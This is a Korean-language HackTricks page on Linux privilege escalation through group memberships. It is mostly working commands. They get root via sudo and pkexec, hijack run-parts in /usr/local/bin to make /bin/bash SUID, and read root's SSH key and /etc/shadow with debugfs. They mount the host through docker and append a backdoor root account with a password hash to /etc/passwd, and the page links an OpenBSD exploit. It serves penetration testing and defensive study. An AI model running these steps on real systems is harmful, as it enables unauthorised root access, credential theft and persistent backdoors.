ํฅ๋ฏธ๋กœ์šด ๊ทธ๋ฃน - ๋ฆฌ๋ˆ…์Šค ๊ถŒํ•œ ์ƒ์Šน

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Sudo/Admin ๊ทธ๋ฃน

PE - ๋ฐฉ๋ฒ• 1

๋•Œ๋•Œ๋กœ, ๊ธฐ๋ณธ์ ์œผ๋กœ (๋˜๋Š” ์ผ๋ถ€ ์†Œํ”„ํŠธ์›จ์–ด๊ฐ€ ํ•„์š”ํ•˜๊ธฐ ๋•Œ๋ฌธ์—) /etc/sudoers ํŒŒ์ผ ์•ˆ์—์„œ ์ด๋Ÿฌํ•œ ์ค„์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL

์ด๊ฒƒ์€ sudo ๋˜๋Š” admin ๊ทธ๋ฃน์— ์†ํ•œ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ sudo๋กœ ๋ฌด์—‡์ด๋“  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ, root๊ฐ€ ๋˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:

sudo su

PE - Method 2

๋ชจ๋“  suid ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ฐพ์•„๋ณด๊ณ  Pkexec ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

find / -perm -4000 2>/dev/null

์ด์ง„ ํŒŒ์ผ pkexec๊ฐ€ SUID ์ด์ง„ ํŒŒ์ผ์ด๊ณ  sudo ๋˜๋Š” admin ๊ทธ๋ฃน์— ์†ํ•œ๋‹ค๋ฉด, pkexec๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ sudo๋กœ ์ด์ง„ ํŒŒ์ผ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์ด๋Ÿฌํ•œ ๊ทธ๋ฃน์ด polkit ์ •์ฑ… ๋‚ด์— ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด ์ •์ฑ…์€ ๊ธฐ๋ณธ์ ์œผ๋กœ ์–ด๋–ค ๊ทธ๋ฃน์ด pkexec๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์„ ์‚ฌ์šฉํ•˜์—ฌ ํ™•์ธํ•˜์„ธ์š”:

cat /etc/polkit-1/localauthority.conf.d/*

์—ฌ๊ธฐ์—์„œ ์–ด๋–ค ๊ทธ๋ฃน์ด pkexec๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ผ๋ถ€ ๋ฆฌ๋ˆ…์Šค ๋ฐฐํฌํŒ์—์„œ๋Š” sudo ๋ฐ admin ๊ทธ๋ฃน์ด ๊ธฐ๋ณธ์ ์œผ๋กœ ๋‚˜ํƒ€๋‚ฉ๋‹ˆ๋‹ค.

๋ฃจํŠธ๊ฐ€ ๋˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

pkexec "/bin/sh" #You will be prompted for your user password

pkexec๋ฅผ ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ–ˆ๋Š”๋ฐ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด:

polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

๊ถŒํ•œ์ด ์—†์–ด์„œ๊ฐ€ ์•„๋‹ˆ๋ผ GUI ์—†์ด ์—ฐ๊ฒฐ๋˜์–ด ์žˆ์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ์ด ๋ฌธ์ œ์— ๋Œ€ํ•œ ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์€ ์—ฌ๊ธฐ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. 2๊ฐœ์˜ ์„œ๋กœ ๋‹ค๋ฅธ ssh ์„ธ์…˜์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค:

echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec

Wheel Group

๋•Œ๋•Œ๋กœ, ๊ธฐ๋ณธ์ ์œผ๋กœ /etc/sudoers ํŒŒ์ผ ์•ˆ์—์„œ ์ด ์ค„์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

%wheel	ALL=(ALL:ALL) ALL

์ด๊ฒƒ์€ wheel ๊ทธ๋ฃน์— ์†ํ•œ ๋ชจ๋“  ์‚ฌ์šฉ์ž๊ฐ€ sudo๋กœ ๋ชจ๋“  ๊ฒƒ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ, root๊ฐ€ ๋˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค:

sudo su

Shadow Group

shadow ๊ทธ๋ฃน์˜ ์‚ฌ์šฉ์ž๋“ค์€ /etc/shadow ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow

So, read the file and try to crack some hashes.

Staff Group

staff: ์‚ฌ์šฉ์ž๊ฐ€ ๋ฃจํŠธ ๊ถŒํ•œ ์—†์ด ์‹œ์Šคํ…œ์— ๋กœ์ปฌ ์ˆ˜์ •์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค (/usr/local). /usr/local/bin์˜ ์‹คํ–‰ ํŒŒ์ผ์€ ๋ชจ๋“  ์‚ฌ์šฉ์ž์˜ PATH ๋ณ€์ˆ˜์— ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ, ๋™์ผํ•œ ์ด๋ฆ„์˜ /bin ๋ฐ /usr/bin์˜ ์‹คํ–‰ ํŒŒ์ผ์„ โ€œ๋ฎ์–ด์“ธโ€ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ชจ๋‹ˆํ„ฐ๋ง/๋ณด์•ˆ๊ณผ ๋” ๊ด€๋ จ๋œ โ€œadmโ€ ๊ทธ๋ฃน๊ณผ ๋น„๊ตํ•˜์‹ญ์‹œ์˜ค. [source]

debian ๋ฐฐํฌํŒ์—์„œ $PATH ๋ณ€์ˆ˜๋Š” /usr/local/๊ฐ€ ์šฐ์„ ์ ์œผ๋กœ ์‹คํ–‰๋œ๋‹ค๋Š” ๊ฒƒ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

$ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

/usr/local์— ์žˆ๋Š” ์ผ๋ถ€ ํ”„๋กœ๊ทธ๋žจ์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ฃจํŠธ ๊ถŒํ•œ์„ ์‰ฝ๊ฒŒ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

run-parts ํ”„๋กœ๊ทธ๋žจ์„ ํƒˆ์ทจํ•˜๋Š” ๊ฒƒ์€ ๋ฃจํŠธ ๊ถŒํ•œ์„ ์–ป๋Š” ์‰ฌ์šด ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ํ”„๋กœ๊ทธ๋žจ์€ (crontab, ssh ๋กœ๊ทธ์ธ ์‹œ) run-parts๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

$ cat /etc/crontab | grep run-parts
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6    * * 7   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6    1 * *   root    test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }

๋˜๋Š” ์ƒˆ๋กœ์šด ssh ์„ธ์…˜ ๋กœ๊ทธ์ธ ์‹œ.

$ pspy64
2024/02/01 22:02:08 CMD: UID=0     PID=1      | init [2]
2024/02/01 22:02:10 CMD: UID=0     PID=17883  | sshd: [accepted]
2024/02/01 22:02:10 CMD: UID=0     PID=17884  | sshd: [accepted]
2024/02/01 22:02:14 CMD: UID=0     PID=17886  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17887  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2024/02/01 22:02:14 CMD: UID=0     PID=17888  | run-parts --lsbsysinit /etc/update-motd.d
2024/02/01 22:02:14 CMD: UID=0     PID=17889  | uname -rnsom
2024/02/01 22:02:14 CMD: UID=0     PID=17890  | sshd: mane [priv]
2024/02/01 22:02:15 CMD: UID=0     PID=17891  | -bash

์ต์Šคํ”Œ๋กœ์ž‡

# 0x1 Add a run-parts script in /usr/local/bin/
$ vi /usr/local/bin/run-parts
#! /bin/bash
chmod 4777 /bin/bash

# 0x2 Don't forget to add a execute permission
$ chmod +x /usr/local/bin/run-parts

# 0x3 start a new ssh sesstion to trigger the run-parts program

# 0x4 check premission for `u+s`
$ ls -la /bin/bash
-rwsrwxrwx 1 root root 1099016 May 15  2017 /bin/bash

# 0x5 root it
$ /bin/bash -p

Disk Group

์ด ๊ถŒํ•œ์€ ๋ฃจํŠธ ์ ‘๊ทผ๊ณผ ๊ฑฐ์˜ ๋™๋“ฑํ•˜๋ฉฐ, ๋จธ์‹  ๋‚ด๋ถ€์˜ ๋ชจ๋“  ๋ฐ์ดํ„ฐ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Files:/dev/sd[a-z][1-9]

df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

debugfs๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ํŒŒ์ผ์„ ์“ธ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”. ์˜ˆ๋ฅผ ๋“ค์–ด /tmp/asd1.txt๋ฅผ /tmp/asd2.txt๋กœ ๋ณต์‚ฌํ•˜๋ ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt

๊ทธ๋Ÿฌ๋‚˜ root๊ฐ€ ์†Œ์œ ํ•œ ํŒŒ์ผ(์˜ˆ: /etc/shadow ๋˜๋Š” /etc/passwd)์— ์“ฐ๊ธฐ๋ฅผ ์‹œ๋„ํ•˜๋ฉด โ€œPermission deniedโ€ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

Video Group

w ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์‹œ์Šคํ…œ์— ๋กœ๊ทธ์ธํ•œ ์‚ฌ๋žŒ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ถœ๋ ฅ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค:

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      22:16    5:13m  0.05s  0.04s -bash
moshe    pts/1    10.10.14.44      02:53   24:07   0.06s  0.06s /bin/bash

tty1๋Š” ์‚ฌ์šฉ์ž yossi๊ฐ€ ๋ฌผ๋ฆฌ์ ์œผ๋กœ ๋จธ์‹ ์˜ ํ„ฐ๋ฏธ๋„์— ๋กœ๊ทธ์ธํ–ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

video group์€ ํ™”๋ฉด ์ถœ๋ ฅ์„ ๋ณผ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ํ™”๋ฉด์„ ๊ด€์ฐฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ํ˜„์žฌ ํ™”๋ฉด์˜ ์ด๋ฏธ์ง€๋ฅผ ์›์‹œ ๋ฐ์ดํ„ฐ๋กœ ๊ฐ€์ ธ์˜ค๊ณ  ํ™”๋ฉด์ด ์‚ฌ์šฉํ•˜๋Š” ํ•ด์ƒ๋„๋ฅผ ์•Œ์•„๋‚ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ํ™”๋ฉด ๋ฐ์ดํ„ฐ๋Š” /dev/fb0์— ์ €์žฅ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ํ™”๋ฉด์˜ ํ•ด์ƒ๋„๋Š” /sys/class/graphics/fb0/virtual_size์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size

์›์‹œ ์ด๋ฏธ์ง€๋ฅผ ์—ด๊ธฐ ์œ„ํ•ด GIMP๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  screen.raw ํŒŒ์ผ์„ ์„ ํƒํ•œ ํ›„ ํŒŒ์ผ ํ˜•์‹์œผ๋กœ Raw image data๋ฅผ ์„ ํƒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋„ˆ๋น„์™€ ๋†’์ด๋ฅผ ํ™”๋ฉด์—์„œ ์‚ฌ์šฉ๋œ ๊ฐ’์œผ๋กœ ์ˆ˜์ •ํ•˜๊ณ  ๋‹ค์–‘ํ•œ ์ด๋ฏธ์ง€ ์œ ํ˜•์„ ํ™•์ธํ•œ ํ›„ (ํ™”๋ฉด์„ ๋” ์ž˜ ๋ณด์—ฌ์ฃผ๋Š” ๊ฒƒ์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค):

๋ฃจํŠธ ๊ทธ๋ฃน

๊ธฐ๋ณธ์ ์œผ๋กœ ๋ฃจํŠธ ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ ์„œ๋น„์Šค ๊ตฌ์„ฑ ํŒŒ์ผ์ด๋‚˜ ์ผ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์ผ ๋˜๋Š” ๊ถŒํ•œ ์ƒ์Šน์— ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋Š” ๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ๊ฒƒ๋“ค์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹คโ€ฆ

๋ฃจํŠธ ๊ตฌ์„ฑ์›์ด ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋Š” ํŒŒ์ผ ํ™•์ธ:

find / -group root -perm -g=w 2>/dev/null

Docker Group

ํ˜ธ์ŠคํŠธ ๋จธ์‹ ์˜ ๋ฃจํŠธ ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ์ธ์Šคํ„ด์Šค์˜ ๋ณผ๋ฅจ์— ๋งˆ์šดํŠธํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ธ์Šคํ„ด์Šค๊ฐ€ ์‹œ์ž‘๋  ๋•Œ ํ•ด๋‹น ๋ณผ๋ฅจ์— chroot๋ฅผ ์ฆ‰์‹œ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์‚ฌ์‹ค์ƒ ๋จธ์‹ ์—์„œ ๋ฃจํŠธ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค.

docker image #Get images from the docker service

#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd

#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

๋งˆ์ง€๋ง‰์œผ๋กœ, ์ด์ „์˜ ์ œ์•ˆ์ด ๋งˆ์Œ์— ๋“ค์ง€ ์•Š๊ฑฐ๋‚˜ ์–ด๋–ค ์ด์œ ๋กœ ์ž‘๋™ํ•˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ(์˜ˆ: docker api ๋ฐฉํ™”๋ฒฝ?) ํŠน๊ถŒ ์ปจํ…Œ์ด๋„ˆ๋ฅผ ์‹คํ–‰ํ•˜๊ณ  ๊ทธ๋กœ๋ถ€ํ„ฐ ํƒˆ์ถœํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค:

Docker Security

docker ์†Œ์ผ“์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ docker ์†Œ์ผ“์„ ์•…์šฉํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•œ ์ด ๊ฒŒ์‹œ๋ฌผ์„ ์ฝ์–ด๋ณด์„ธ์š”.

GitHub - KrustyHack/docker-privilege-escalation: A docker example for privilege escalation

Privilege escalation via Docker - Chris Foster

lxc/lxd ๊ทธ๋ฃน

Interesting Groups - Linux Privesc

Adm ๊ทธ๋ฃน

์ผ๋ฐ˜์ ์œผ๋กœ adm ๊ทธ๋ฃน์˜ ๊ตฌ์„ฑ์›์€ _/var/log/_์— ์œ„์น˜ํ•œ ๋กœ๊ทธ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๊ฐ€์ง€๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.
๋”ฐ๋ผ์„œ ์ด ๊ทธ๋ฃน ๋‚ด์˜ ์‚ฌ์šฉ์ž๋ฅผ ์นจํ•ดํ•œ ๊ฒฝ์šฐ ๋กœ๊ทธ๋ฅผ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Auth ๊ทธ๋ฃน

OpenBSD ๋‚ด์—์„œ auth ๊ทธ๋ฃน์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ /etc/skey ๋ฐ /var/db/yubikey ํด๋”์— ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๊ถŒํ•œ์€ ๋‹ค์Œ์˜ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ฃจํŠธ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ค๋Š” ๋ฐ ์•…์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ